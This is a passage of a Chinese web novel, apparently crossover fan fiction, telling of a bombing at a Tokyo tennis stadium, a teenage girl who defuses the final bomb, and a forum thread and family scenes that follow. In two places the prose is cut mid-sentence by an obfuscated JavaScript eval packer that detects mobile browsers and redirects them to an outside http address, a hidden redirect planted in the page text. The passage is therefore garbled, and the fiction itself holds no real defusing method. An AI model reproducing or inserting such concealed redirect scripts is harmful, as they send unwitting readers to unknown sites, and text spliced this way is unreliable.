降谷零下意识立正站好,声音坚定答道:“保证完成任务。” 此时,阳光正好,冲野洋子将最新单曲演唱完之后,串场当起了主持人。 观众席上玩起来了“LookalikeCam”的游戏。顾名思义,就是当场地上方的大屏幕中出现一个名人的时候,摄像机将会在现场的观众里匹配到和这个名人长相相似的人。 这里的名人不仅限于真实人物,还包括动画人物以及电影里的角色等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11266297|119619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等,互动性和观赏性都很强。 屏幕里第一个出现的是狮子王里的幼年期辛巴。 几秒钟后,镜头里出现了一个女观众,手里还抱着一只可爱的小狗。 小狗打扮得很是精致,身上的衣服一看就是和女观众穿得是亲自款,耳朵上还配备着降噪耳机,贴心极了。 女观众把小狗慢慢举了起来,像狮子王里狒狒长老对辛巴做得那样。小狗也许也觉得这样的互动很新奇,左看右看得活泼极了。 现场传来善意的笑声。 第二位出现的名人是哈利波特。 镜头扫到观众席上,一个戴着框架眼镜,脸蛋肉嘟嘟的小学生出现在了屏幕上。旁边的母亲发现之后,低头戳了戳他,他开心地朝镜头挥了挥手。 柔软的发丝和两侧的脸颊肉都随着他的跳动在摇晃。 松田春奈第一次来看球赛,什么样的互动都觉得新鲜又有趣,看得津津有味。 “摄像师好厉害,找的观众都好贴脸啊。”她笑眯眯地转过头和松田阵平小声说道。 松田阵平点点头。 松田春奈看向他身旁的空座:“咦,降谷哥和诸伏哥刚刚不是还在的吗?他们去哪了?” “他们刚刚发现作业忘记提交,去找地方给教官打电话解释了。”松田阵平回答得面不改色,下意识不想让她知道那些事。 “那你和研二哥拿望远镜干嘛?” “这样能看得更清楚。” 松田春奈点点头,没有觉出不对,继续抬头看向屏幕。 还好降谷零准备充分,望远镜都带了过来。松田阵平和萩原研二继续在座位上寻找那个嫌疑犯的踪影。 这时,屏幕上终于出现了一个动画片里的反面角色。 观众在下面还猜测着这次谁会被镜头选中的时候,一张看起来胆小如鼠的脸出现在了大屏幕上。 松田阵平的左手用力抓紧望远镜,迅速站起来在人群中对比排查。 那个人还是怯怯的,一副看起来担惊受怕的样子。 在周围观众的欢呼和鼓掌声中,似乎让他稍微找回了点自信。他抬起头,露出一丝笑容,牙齿像是大白鲨的海报封面,带着股锋利。 周身的气质瞬间变得阴郁,整个人和屏幕里动画人物的晦暗色调莫名贴合起来,让围观的人不禁在暖阳中打了个寒颤。 作者有话要说: 感谢在2024-02-2116:21:18~2024-02-2121:15:19期间为我投出霸王票或灌溉营养液的小天使哦~感谢灌溉营养液的小天使:一颖夜10瓶;非常感谢大家对我的支持,我会继续努力的! 24. 第 24 章 摄像可能也感受到了观众的不适,没等众人反应过来,镜头就一闪而过,下一个人脸匹配环节又开始了。 松田春奈敏锐地察觉到有些不对劲,她刚想凑过去和哥哥说话,却发现他正焦急地转动望远镜,仿佛在找什么重要的东西。 就连他旁边的研二哥同样也是如此。 两人身上充斥着一种时不我待的焦躁感。 可恶,球场的观众太多,就算刚刚大屏幕聚焦到了那个嫌疑犯,他们也无法在人群之中立刻准确定位到他。 想到刚刚降谷传达给他们的信息,他的心就像放在滚烫的油里煎熬一样。 “嫌疑犯说他在东京网球场里埋放了三颗炸弹。前两颗是“开胃菜”,最后一颗才是“重头戏”。如果胆敢疏散群众,他就提前爆炸一颗。” “如果能在半小时以内排查出来并拆除掉其中一颗的话,那他就停止引爆功能。如果排查不出来的话,他每隔一段时间就会引爆一颗,最后再让大家一起给他陪葬。” “景和我跟着便衣去排查炸弹,你和萩原在观众席上保护春奈,并且负责锁定那个嫌疑犯。” 时间一分一秒地过去,松田阵平额头上的冷汗也渐渐凝结成珠。 可恶!!!为什么还是找不到那个家伙!!! 松田春奈时不时地抬头看向哥哥他们,不知怎么突然有些紧张,刚刚轻松闲适的心情一扫而空。 迹部景吾低头询问道:“前辈...是丢了什么东西吗?这里有广播可以播报。” 三井树同样满脸关切地看着她:“球场的安保和保洁人员素质都很高,捡到东西都会放到失物招领处,到时候可以来这里认领。” 松田春奈也不确定自己的猜测是否准确,她猛地深吸一口气。清冽的空气顿时挤进肺部,颇有提神醒脑之效,她慢慢镇定下来。 她把手机的相机功能打开,调成最大比例,对准观众席位,说道:“没什么,就是感觉刚刚在屏幕里出现的那个黑衣男人长得贼眉鼠眼,看起来特别奇怪,笑容和他的长相一点也不搭。所以想看看他到底坐在哪,具体长什么样。” 松田阵平知道她还是发现不对劲了,顾不上和她解释,仍在来回寻找。 冷静,冷静,还有时间。只要能及时抓到他,再把他手上的□□毁掉就好。 迹部景吾和三井树闻言对视一眼,并不多问。默默地拿出手机调到相机功能,做出同款动作。 中场休息马上就要结束了,第二轮的对打即将开始。场下的两位单打球员已经各自就位,观众们也渐渐安静下来。 就在这时,网球场地的正中央突然炸开一个洞,发出“砰”地一声。 沉闷的声响在寂静的环境下更显得恐怖。 草地下方直接炸出了一个窟窿! 土壤露了出来,不知名物的碎片和泥土被炸得到处都是。 一股刺鼻的味道渐渐弥漫开。 观众席上一片哗然,大家对着下方指指点点,不知道发生了什么。 上方的观众看得更清楚,渐渐觉得事情有些诡异,想要提前离场。周围的人被传染了这种情绪之后,开始纷纷收拾东西。 松田阵平反应很快,在声响之时就第一时间抓住了松田春奈的手,把她往自己怀里一带,护在自己的胸口,蹲了下去。 他冲着迹部景吾和三井树大吼:“蹲下!” 他掌心的冷汗涔涔跌落,显得有些粘腻。 大部分人还搞不懂情况,以为这只是主办方的失误。两位选手一时不知道该怎么办,停留在原地等待主办方的指挥。 松田阵平知道这是第一个“开胃菜”。 令人焦虑的是,他明知道待会还会有第二颗。但他却不知道它什么时候出现,又会落在何处。 等待第二双靴子落地的时刻才是最磨人心志的。 还没等他们站起来。就在这时,比第一声更沉闷,声音更大的炸弹声,在座位的前排响了起来。 碎石和炸弹的碎片被炸得满天乱飞,最后又劈里啪啦地掉落,像是在预言着什么。 众人终于明白,这不是主办方的失误,而是恐怖分子有预谋的袭击。 大家在慌乱中惊声尖叫着到处逃窜,用力向紧急出口处跑去。 迹部景吾和三井树在第一颗炸弹爆炸的时候,就已经收到了门外保镖的消息。告诉他们大门现在已经被反锁,他们目前无法破门。 他们已经在联系各级部门,准备强行爆破进来。让他们保持镇定,稍安勿躁,尽量找安全一点的地方躲避起来。 松田阵平在第二颗炸弹出现的时候,心情反而平静了一些。诡异地想到,两颗“开胃菜”已经现身,说不定最后降谷他们真的能排查到那颗“重头戏”也不一定呢。 在一片嘈杂之中,迹部景吾帮她把背包拿起来,努力大声安慰松田春奈:“别担心,很快就会有人进来救我们了。” 三井树默默起身,把东西收拾好:“大门现在出不去,先去找个三角区躲一下吧。” 这时,第一批到达大门出口附近的观众传来哀嚎:“大门坏了,我们出不去了!!!” 担心与惊惧在一片噪音中达到顶峰,消极的心情比病毒性感冒的传染速度还要快。 有人不甘心,在试图撞门;有人在打报警电话,破口大骂相关职门不务正业;有人在默默哭泣,给家人打最后的告别电话。 现实遇到的灾难远比电影里的情节来得恐怖。 耗尽全力的唾骂与哭喊之后,是一片诡异的寂静。仿佛大家已经认命了似的,在默默等待死亡的来临。 可嫌疑犯的恶趣味远不止如此,一个机械的声音突然响了起来—— “欢迎各位来到我的游乐场,热身活动已经结束,距离最后一颗炸弹爆炸还有20分钟。” “放心,我不会提前按下按钮。希望各位和我一起,尽情享受最后的时光吧哈哈哈哈哈哈哈哈哈” 声音虽然是用AI模拟的,但最后的笑声却莫名透着股疯狂。让人浑身起鸡皮疙瘩,仿佛能看到死神挥着镰刀站在自己面前,随时等着收割自己的性命。 本来有些力竭的人群,立刻又有了力气,疯狂地在向外撞门。 没有哪一刻,大家对于求生的渴望达到如此的顶峰。 门口处的人们迅速组织起来。大家一起互相鼓舞着,流着眼泪,吸着鼻涕,喊着口号,一起撞门。 “砰!”“砰!”“砰!” 人类的血肉之躯和厚重的钢铁相碰撞,明知不可为而为之的举动透着一股悲壮的凄凉的BE美学。 刚刚在屏幕里被举起来的可爱小狗,还不知道发生了什么。低头在默默舔舐着她主人的手,尽力凭借它的力量安慰主人的情绪。 女孩抱着她的小狗无声流泪,悔不当初。小狗身上的降噪耳机也不知道丢在了何处。 还有刚刚和哈利波特匹配的小男孩,正抱着他的母亲,用稚嫩的童声问道:“妈妈我们还能出去吗?今天晚上爸爸说好了会带我去买玩具。” 母亲哽咽着安慰他,用手抚摸他的背部,胡乱亲吻着他的脸颊:“会的,孩子。马上就能出去了。你再等一会儿就好了。” ...... 头顶上的顶罩不知是在什么时候合拢的,迹部景吾本打算让家里派直升飞机过来,此时也只能熄了这个念头。 就在此时,降谷零的消息终于传来——炸弹被他们排查到了! 就在男厕所的镜子后面。 松田阵平的鼻翼快速翕动着,也就是说,目前只要抓紧时间拆解掉最后一个,他们就都能活下来!!! 降谷零飞快说道:“在男厕所看到的那枚炸弹,和昨天春奈送给你的那个炸弹模型外观相似度很高。” 松田阵平立即决定过去拆拆试试。 松田春奈正打算强行跟着过去,抬眼之后立刻用眼神示意身旁的几位,嘴唇翁动道:“左前方35度。抓住那个白衣服男人。” 几人虽然是第一次合作,但默契程度很高。 他们头也不抬地正常往前走着,松田阵平和萩原研二挤到前面,剩下的三人在后面垫后,大家默默呈分散式包围状态。 电光火石之间,萩原研二猛地用力向后转身一甩胳膊,将嫌疑犯的额头抡个正着,一下子将他打蒙在原地不能动弹。 松田阵平顺势将他手上的东西卸了下来,用左手强行搂住他,让他只能亦步亦趋地跟着自己行动。 男人刚想要大声呼喊,松田春奈立刻将三明治放在书包里,顶着路人的腰恶狠狠地威胁道:“再敢大声说话,我的枪可不长眼睛。” 男人识相地闭了嘴,柔顺地跟着几人往前走。 松田阵平飞快打着字,让降谷零告诉外面的警察,尽力安抚场内群众的情绪。 很快,一阵由远及近的直升飞机螺旋桨的声音从顶罩的上方传了进来。飞机上面的警察拿着喇叭喊道,炸弹目前已经被警察锁定,专业拆弹专家也已就位。 犯罪分子同样已经被逮捕,请大家保持情绪稳定,不要推搡,很快就能获救了。 迹部景吾扎扎实实地松了一口气,手里一直握着的手机满是汗水。犹豫了很久的讯息,还是没有发出去,以草稿的形式继续存在手机深处。 嫌疑犯被松田阵平他们带到了厕所。 看着镜子后面露出原型的炸弹,他面露笑意:“啊,看来你们终于找到了。” “不过,你们就算找出来也没有用。炸弹现在只剩了不到20分钟,你们还是要陪我死在这里。” 松田春奈没有理会他的发言,看着炸弹裸露在外面的电线,轻松说道:“你这个炸弹的灵感不会是来源于FBI最新出的那个模型吧?” “......你说什么,我听不懂。”嫌疑犯猛地转过头,死死地盯着她,一字一句咬牙切齿地说道。 手铐早已第一时间把他铐住,为了防止他爆起造成不必要的伤害,警察将他的胳膊向后抬起,迫使他的脸压向地面。 洗手间的地面上来往都是水渍,嫌疑犯的脸上也蹭得到处都是。看着他这么狼狈的样子,松田春奈压抑的心情变得好了一点。 她拿起便衣警察带过来的拆弹工具,冷静开口:“我说——” “你一定要好好看着,我是怎么把炸弹拆除的。” “毕竟,这可能是你最后一次活着见到了。” * 东京网球场的爆炸案虽然过去了一周,但人们还是经常在社交软件上提起来。 原因无他,实在是这件事太具有奇幻性和英雄主义色彩了。 威力这么巨大的炸弹,嫌疑犯这么变态的反社会人格,以及提前示警给警视厅的威胁挑衅都具有极高的话题性。 本来大家都做好心理准备了。 谁曾想,炸弹竟然在最后一刻被拆解了。 球场内的观众无一人死亡,受伤最严重的几人不是被炸弹炸的,而是当初慌乱中向出口处跑得太快,肌肉拉伤了。 恐怕,就连那个嫌疑犯自己也没有想到,他苦心积虑地研究了这么久,想过那么多的结局。 唯独没有料到,自己是在警察的押解下,众目睽睽地走向警车的。 当然,迎接他的还有围观群众的食物殴打,以及随身携带的小物件用来挥击泄愤。 周遭的警察对此视若无睹,偶尔劝解两声,也是让大家情绪不要太激动,起码不要误打到自己人身上。 嫌疑犯只觉得短短的这么一段路,竟然被自己走得这么长。 他想快走几步到警车上躲着也做不到,因为押送他的人正控制着他,让他无法如愿以偿。 【有点人脉,说说上周的4.24东京网球场爆炸案。】 楼主:最近4.24爆炸案刚调查完毕。论功行赏的事虽然还没落实下来,但是也差不离了。只能说,自古英雄出少年。东京区的警视总监可能都没想到,最后关头拆炸弹的这位英雄豪杰竟然是位未成年!!! 没错,你没有看错!!!!!英!雄!是!位!未!成!年! 楼主知道这个消息的时候当场就被震惊了,直接伸手扇了自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11266298|119619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个大嘴巴子。十几岁的年纪,人家在当救世主,我当初在干什么???好像在花园里玩泥巴,别说,楼主特别真的会捏小泥人。这点英雄可能比我上我嘿嘿... 1L:什么????英雄是个未成年吗竟然????我一直脑补的是位武功盖世的彪形大汉,他脚踏着七彩祥云,身披着金甲圣衣... 2L:楼上差不多得了,那个东京巡回赛进场是要安检的...穿成那样直接社会性死亡了好伐。 3L:真的吗??咱们国家竟然有这么牛的未成年吗???这得多牛啊,咋学的啊??? 4L:对啊,未成年咋学的拆炸弹啊请问?Youtube上面连这个也教吗??? 5L:教练,我想学拆炸弹!!!这个技能感觉好帅!!! 6L:未成年能来个现场直播吗?不是质疑,主要是想开开眼。真的! 7L:我比较实在,我想知道警视厅会给未成年什么实质性奖励吗??? 8L:讲真,我觉得哈,警视厅总监高低得给这位少年英雄磕一个。如果不是他的话,警视厅已经开始开发布会道歉外加中高层撸职套餐了吧...哪有如今的好日子过。 9L:楼上,注意人称——不是他,是她! 10L:哈???Oh!My!God!所以是一位小妹妹干了这么牛的事情????!!!! 11L:当天在场幸存人员表示——是真的。英雄是位未成年小妹妹。因为不确定那个罪犯还有没有同伙,以及为了保护未成年的安全,警视厅直接把那位英雄妹妹的个人信息给抹了。哪个电视台都别想去赚这个流量钱。 12L:抓住现场宝宝。能问下当时你们的感受吗? 13L:可以啊。当时劫后余生的感想就是——1.我想给这个妹妹磕一个。2.在感觉自己要狗带的时候,悲观的我直接把银行卡密码告诉了家人,所以现在还得去换一下密码。3.人生短暂,及时行乐。从今天起,去他大爷的减肥,我要吃个爽!!!!!! 14L:哈哈哈哈哈我和楼上一样,都是4.24亲历者。当然想法也大多一样哈哈哈哈哈哈哈哈哈哈。只不过我还加了一条,打算去学点拆弹技术.所以,下届警校招生的时候我打算去报名,以后追随妹妹去当个警察嘿嘿!! 15L:不是说妹妹是个未成年吗???怎么又变警察了??? 16L:废话,英雄妹妹那么牛,以后肯定会去当警察啊!!! 17L:也是,那妹妹会不会是第一个还没入校,就已经获得功勋的警校生啊。想想就觉得好爽。 18L:原来我每天晚上睡觉之前,胡乱构思的爽文主角是真的存在的...真的有人在过这种人生啊... 19L:楼上握个手吧。谁还没做过当救世主的梦呢。 20L:讲真,这应该是最好的警校招生广告了... 21L:这个题材感觉好适合拍成电影啊!有没有导演来拍一个啊,想看! 22L:还是算了,感觉拍不出来。首先,就找不到合适的未成年演员去演这个英雄妹妹捏。 23L:不是,你们怎么就那么确定是她拆的炸弹???万一是别人拆的,然后把功劳让给她的呢??? 24L:楼上,没事吧你????你没事吧????你脑子被驴踢了是吧????可显着你的能耐了哈,就特爱做这种众人皆醉我独醒的人是吧????神经病!!! 25L:我都懒得骂23L,生怕他爽到。互联网支教太难了,感觉一群人欠我学费都!!! 26L:劝大家不用和那种人生气,真的。现在林子大了什么鸟都有,互联网方便了什么鸟人都能上网。教育水平层次不齐的,和这种人生气真的不值当。 楼主:大家放心聊,我已经给那个缺货禁言了哈。我的楼中绝不允许出现智障的存在!振声! 继续说回这位英雄妹妹。 她当初拆炸弹的时候,据说旁边一开始是有人远程视频指导的。但其实人家在指导的人开口之前,都已经提前预判并拆卸一部分了,这就导致那位指导员直接闭麦了。听说受到了不小的打击,最近打算出国进修。 而且因为那天排爆警察都出去执行公务去了,所以妹妹连排爆服都没有,就直接赤手上场了。牛这个字我已经说累了...同样都是人,我和人家的差距比人和狗还大... 27L:这是不是就是传说中的妹妹姐!!真的太飒了吧!!! 28L:BGM起~是心动啊,糟糕眼神躲不掉...呜呜呜呜我好像恋爱了谁懂...和一个素未谋面的妹妹。 29L:我懂!!!懂得不能再懂!!!俺们慕强批就是这样的! 楼主:而且据说哈,妹妹拆弹的时候,说话间就把那个炸弹犯给整崩溃了。各种点评他,让他觉得自己引以为傲的作品一无是处。爽死谁了! 30L:妹妹的性格我真的好爱!!有仇当场就报了,绝不拖到隔夜。 31L:而且听说当天球场里还有很多财团大佬,因为找不到妹妹的联系方式,所以直接统一给警校捐款了。 32L:懂了,警校才是这次事件里的最大赢家。 33L:警校校长现在嘴都笑裂了吧,人在家中坐,政绩从天上来。 34L:转发这个警校校长,你也能在工作中不劳而获,被大佬带飞,阿门! 35L:我信了,我接!! 36L:我接!我狂接!我大接特接!!! 37L:好运来!好运从四面八方来!!! 作者有话要说: 强迫症犯了,本章又加了1400字,终于把论坛体写完了,大家记得来看哦。感谢在2024-02-2121:15:19~2024-02-2123:59:30期间为我投出霸王票或灌溉营养液的小天使哦~感谢灌溉营养液的小天使:Renegade88瓶;日常催更君打卡……20瓶;只有油门的马自达、ting1瓶;非常感谢大家对我的支持,我会继续努力的! 26-30 第26章 在社交媒体如此发达的时代,东京网球场发生爆炸案的消息早已出现在了各大社交媒体的网站上,并迅速占据热搜头条位置。 电视台以及报刊媒体纷纷派出记者去实时播报,以便抢占新闻头条。 球场外的警察身兼多职,既要负责破门,又要负责安抚场内被困人员的家属情绪,还要和媒体打交道,一个人恨不得掰成八瓣用。 场外的情况好不容易稳定下来一点,然而随着第二颗炸弹的爆炸,又立即变得严峻起来。 越来越多的家属朝着网球场的方向赶来。 松田父母也不例外。 一开始,他们先是收到了松田春奈发来的讯息,大意是说她爱他们。两人还以为这只是女儿的日常撒娇环节,也没多想,乐呵呵地给了回应。 刚回复完消息,两人脸上的笑容还没收回呢,松田阵平的讯息紧跟着也到了。 看着嘴硬傲娇的千年直男在讯息里说爱他们,老两口的第一反应是他被盗号了。 在察觉到兄妹俩前后脚发来的内容相同时,身为父母的第六感突然拉响警报——他们应该是遇上事了。 拳击馆的电视里开始插播网球馆发生爆炸的新闻,松田父母顿时感觉天要塌了。 一边疯狂地给兄妹俩打电话发讯息,一边火速往球场方向赶路,连拳击馆的大门都来不及锁。 然而兄妹俩在给他们发完讯息之后就像失联了一样,再也没有回复过他们。 松田春奈的手机常年静音,信息发出之后,她就和哥哥他们把嫌犯押到了负一层的卫生间,压根没发现父母发来的消息。 松田阵平的做法则简单粗暴许多,他直接把手机放在兜里当作无事发生。 排爆课的老师给他们上课时说过,人在拆弹时要保持绝对的冷静,情绪起伏不能太大,否则容易判断失误,造成严重后果。 春奈作为一个技术够格,但是缺乏专业心理训练的新手。他担心接了电话之后不但会耽误她拆弹;还会影响她的情绪,狠下心选择了无视。 此时的松田父母已经来到了球场外,焦急地等待着最新消息。他们一边互相安慰兄妹俩肯定吉人自有天相,不会出事,一边手抖得继续分别给他们两个打电话。 眼看着嫌犯口中最后所说的“二十分钟”就要到了,警察拿着大喇叭让场外的家属退到警戒线以外的位置,确保自身安全。 一位年轻的父亲迟迟不愿离开,他的领带歪歪斜斜地散开着,手里原本精致的鲜花被挤压得很是凌乱,汁水顺着包装流到他的手背上,糊成一团。 他竭力哭喊着说自己的妻儿正在馆内,自己给妻子准备了鲜花,儿子还等着他们今晚带他去买玩具。 如果要死,他宁愿一家三口最后死在一起。 这样的家属不在少数,场外的人群迟迟不愿退到安全线外。大家渐渐开始变得绝望,压得极低的哭泣声不时从四处传来。 然而松田父母还是抱着最后一丝希望,两个人像伫立的石像,呆滞地望着网球场的大门,暗自祈祷下一秒自己的孩子能从那里走出来。 炸弹成功拆除的消息传出来之后,夫妻俩这才狠狠地松了一口气。两人浑身没有力气,腿软得不行,互相搀扶着对方,随便找了个有标志牌的地方坐下,打算一起接兄妹俩回家。 松田阵平看着自己妹妹像蝴蝶一样到处乱飞,打算把卫生间里的每个人都拥抱一遍。本来还想让她控制一下自己,但又怕这是她发泄情绪的一种手段,生怕这次的恶性事件给她留下心理阴影。 眼不见为净,他索性别过脸去,权当没看见。 几位便衣早已把嫌疑犯押送了出去,带回局里接受调查。 临走前特意告诉他们几个在这里稍候片刻,等外面人流量少点的时候,再从快速通道离开。 因为拆弹的是位未成年,为了保护她的隐私以及人身安全,他们也会把她的个人信息做模糊处理。保证不会让媒体报道出来,影响到她的私人生活。 为了预防该犯罪分子还有其他同伙,并可能会借机实施打击报复等行为。警方建议,让这几位在场的冰帝生都此事进行保密。 三人都知道这件事的严重性,对此毫无疑问,点头应下了。 松田阵平低头拿出手机,把屏幕摁亮,一连串的消息立刻像雪花般涌来,甚至造成了几秒钟的卡顿。 一共有一百多条未接电话和待查看的信息,其中大都是来自父母的。 松田阵平立刻给他们打了个视频电话,镜头的另一端声音有些嘈杂,隐约能听出来周围都是在互报平安。 松田父母把脸怼到镜头前,仔细地确认他有没有受伤,并且要求他在镜头面前转几圈,来确保不是在骗他们。 松田阵平明显有些应付不过来:“爸妈,放心吧。我和春奈都没事,一点也没受伤。” “屁股上的灰是蹭的,我坐下之前没仔细擦椅子!” 松田父母看着他精力旺盛的样子,确认他确实没事,立即道:“春奈呢,让你妹妹赶紧过来给我们看看。” 松田阵平长臂一伸,一把把松田春奈拽到镜头前,让她去和父母沟通,顺便替他分担一下这过于汹涌澎湃的爱意。 松田春奈欣然应下。对于讨巧卖乖这一事,她可谓是从小就驾轻就熟。 她巧妙地略过自己拆炸弹的事情,重点描述了今天巡回赛上有趣的项目,让他们不要担心。 没聊一会儿,她就把松田父母的心情稳定下来了。夫妻俩的眉眼间也没有了一开始的焦急和不安,取而代之的则是平静和熨帖。 松田父母在视频里看着她一直没有离开球场的意思,连忙吩咐让她和松田阵平赶紧出来,他们就在外面的标志牌下面等他们。 松田春奈有些为难,不好直接说出实情。她看着在一旁悠哉游哉的哥哥,毫无心理负担地把锅甩在了他的身上。 松田春奈说道:“我是在这里陪哥哥呢,他待会儿还需要跟着警察去警视厅做汇报。” “那你就别在里面等他了,估计你哥一时半会儿也出不来。”松田父母急了,“宝贝快点出来,爸妈带你去吃点好吃的压压惊。” 松田阵平对自己爸妈的差别对待表示见怪不怪,但因为目前在场的外人太多。他还是没忍不住,轻轻地咳了一声,彰显一下自己的存在感。 松田父母敷衍地说道:“阵平,等你从警视厅回家之后,我们再给你做大餐。现在先让你妹妹从里面出来吧,她之前从来没遇上这种事,肯定害怕极了,在强撑着陪你呢。” 松田阵平默默地看了眼镜头外正在给他双手合十,疯狂作揖的松田春奈 嗯,她确实害怕极了。 不过和爸妈以为的害怕,不是同一件事罢了。 但凡要是被他们知道今天拆弹的人是松田春奈,她会不会被爸妈教训他不清楚。但他敢肯定,自己一定会被骂得狗血淋头,说不定还会来一顿男女混合双打,惨淡的未来简直能一眼预见。 为了他们两个的安全着想,松田阵平面不改色地帮她圆了谎:“爸妈,你们先回家吧。春奈待会儿也得跟我去趟警视厅做笔录,到时候我们俩一起回去。” 松田父母闻言,开始慌了,一连串地问道:“春奈怎么也要去警视厅啊?她碰上什么事了?遇到危险了吗?哪受伤了啊?” 说谎的最高境界就是半真半假,审讯课的老师语重心长地给他们举过不少经典案例,让他们回去研究消化。 松田阵平作为优等生,对此更是不在话下。 然而他万万没想到,比起他毕业以后遇到的犯人,最先享受到这个技巧的,是自己的爸妈 松田阵平语焉不详道:“春奈是最先发现那个嫌疑犯位置的人,所以我们才能在看台上把他给摁住。放心,没什么别的事,去那儿做完笔录就能走了。” 松田父母还是不放心:“那要不,我们俩到时候跟你们一起去警视厅吧。笔录是不是也做不了多长时间啊?最后咱们还能一起回家。” 松田阵平没辙了,松田春奈接过手机撒娇,说她特别想吃他们做得盖饭和天妇罗。希望从警视厅回家之后,就能立刻吃到。 “要是爸妈和我一起去警视厅的话,回到家还要等好久才能吃上,会饿得受不了的。” “发生危险的时候,最害怕的就是以后没法吃到爸爸妈妈做得饭菜了” 松田父母听得心都软了,连忙答应宝贝女儿的请求:“没问题没问题,我和你爸现在就回家给你还有你哥准备饭菜。保证都是你们俩喜欢吃的!” 松田父母挂断电话,满心满眼都是做饭的事,身上也有力气了,赶忙回去准备食材。 松田春奈见状放下心来,爸妈的注意力终于被转移了。 做天妇罗虽然是个麻烦活,但以他们目前紧绷的精神状态来看,给他们找点事做才是最佳方案。 不然,他们总是容易提心吊胆地回想着她和哥哥的安全问题,对健康也有影响。 他们所在的卫生间不过十几平米,里面的回声很大。松田春奈的妙语连珠让在场的人都忍不住会心一笑。 松田阵平是早就知道她哄人的本事,对此已经司空见惯。 他们全家人加起来,都没她一个人嘴甜会哄人。 某种意义上来说,也是个搞传销的好苗子。 迹部景吾则表示开了眼。 原来她和家人之间的相处是这样子的 会不自觉的撒娇,尾音拖得长长的,像是带着钩子。让人忍不住心生怜爱,想答应她提的所有要求。 松田春奈刚刚打电话的时候,发现迹部景吾总是欲言又止地看着自己手中的手机。以为他的手机没电了,想借用自己的给他的父母报平安。 她把手机递过去:“迹部,你的手机是没电了吗?用我的吧。” 迹部景吾看着他刚刚梦寐以求的手机,此刻就出现在自己眼前,瞬间理解了哈姆雷特所经历过的纠结。 对哈姆雷特来说,是选择生存还是毁灭。 而对于他来说——是选择将他的心意删除还是保留。 是在她开窍前,继续默默守护当朋友;还是凭借之前的一腔孤勇,来个奋力一搏。 这两个选择,究竟哪个才是正确答案? 松田春奈看他没有反应,把手机直接递到了他手上:“不用不好意思,你随便用就好。” 迹部景吾轻轻吐出一口气,把手机还给了她。 “我已经给他们报过平安了,我看你是因为你和叔叔阿姨之前的对话”他笑了笑,仿佛有些不好意思,解释了一句,“我刚刚不是故意偷听的。” “要是不介意的话,待会儿你可以做我的车回家,我的车上有保镖,正好能把你们刚才的谎不是,是话连给上。” 松田阵平觉得自己刚刚还是太给这小子好脸了,以至于他现在都开始自己找棍顺竿爬了。 三井树也不甘示弱,温柔道:“如果说保镖的话,我的车上也有。” 迹部景吾暗地里给他来了个白眼,学人精! 真烦人,是没有自己的想法吗?非得跟在别人的屁股后头拾人牙慧。 此时,警方终于告诉他们可以离开了。 几人悄声地从快速通道撤离。 刚到门口,两名精悍健壮的男子就朝他们跑了过来,松田阵平暗道不好,警校组立刻挡在前面,摆出一副要干架的姿态。 迹部景吾和三井树连忙开口解释:“他们是保镖,大家都是自己人,都先别动手。” 两名保镖很有职业素质,无声地分别站到他们俩的身后当门神。 松田春奈刚刚也没说错,他们这几位警校生确实需要去警视厅协助警察做笔录。不但如此,还要写一份详细的书面报告,繁琐的很。 松田阵平打心眼里厌烦这些,但又不能不去。 “那我不需要去做笔录吗?”松田春奈把哥哥拉到一边,小声问道。 “你不用去,我直接就全权代理了。”松田阵平转转脖子,骨头之间的摩擦声清晰极了,“对了,我今晚应该回不了家,你到时候记得替我跟爸妈说声。” “?”松田春奈半月眼地看着他,强烈怀疑他是为了躲避爸妈的追问才这么干的,“你不会打算让我一个人去应付爸妈吧?” “能者多劳嘛。”松田阵平笑得贼兮兮的,“等我明天回家给你带好吃的。” 松田春奈撅嘴,觉得自己被摆了一道:“能有多好吃?比冰帝食堂还好吃吗?” 松田阵平一指诸伏景光:“我去诸伏那里给你顺点。” “成交!”松田春奈眼神发亮。 好不容易哄完了妹妹,松田阵平看着眼前站得一个比一个笔直的俩人,牙花子直泛酸水。 干嘛呢这是,又不是警校,他们站个毛线的军姿啊? 明知道这两个人都暗怀鬼胎。但为了圆谎,没办法还是得二者择其一,让春奈坐上他们的车回家去了。 说谎有代价,以后需谨慎。 松田阵平决定把这几个大字吸烟刻肺,印到自己的DNA里。 萩原研二看着他一副悔不当初的样子,调侃道:“小阵平,没想到你竟然让春奈妹妹坐迹部君的车回去了。我还以为你会选今天第一次见面的那个男生。” “你都说了,这是今天和他第一次见。矮个子里拔将军,我这也是没得选,就迹部那小子吧。” “松田你放心,等毕业以后,接妹妹放学的事就交给我们了。保证让那些小男生离她三米远。” “ 你们现在怎么也和萩一个毛病。那是我妹妹,谢谢。对了,诸伏,你之前做得零食还有剩的吗?我明天得拿点过去哄春奈。” “害,零食做出来不就是给妹妹吃的吗,你随便拿。” “我妹妹我妹妹!!!啊啊啊啊啊我跟你们这帮人拼了!!!” 松田春奈第一次坐这么高级的车,幸亏迹部景吾绅士风度满格,提前给她拉开了车门,不然她还真不知道怎么开。 坐进来之后,她才发现自己高兴早了—— 因为呆会儿她可能也不知道怎么出去。 搞不懂这些生产商是怎么想的,好端端的门把手,把它隐藏起来干什么? ! 松田春奈愤愤地拿出手机,开始上网查找隐藏式车门的开门攻略。 从球场到她家的距离很短,所以松田春奈找得聚精会神,压根没有心思去看别的消息。 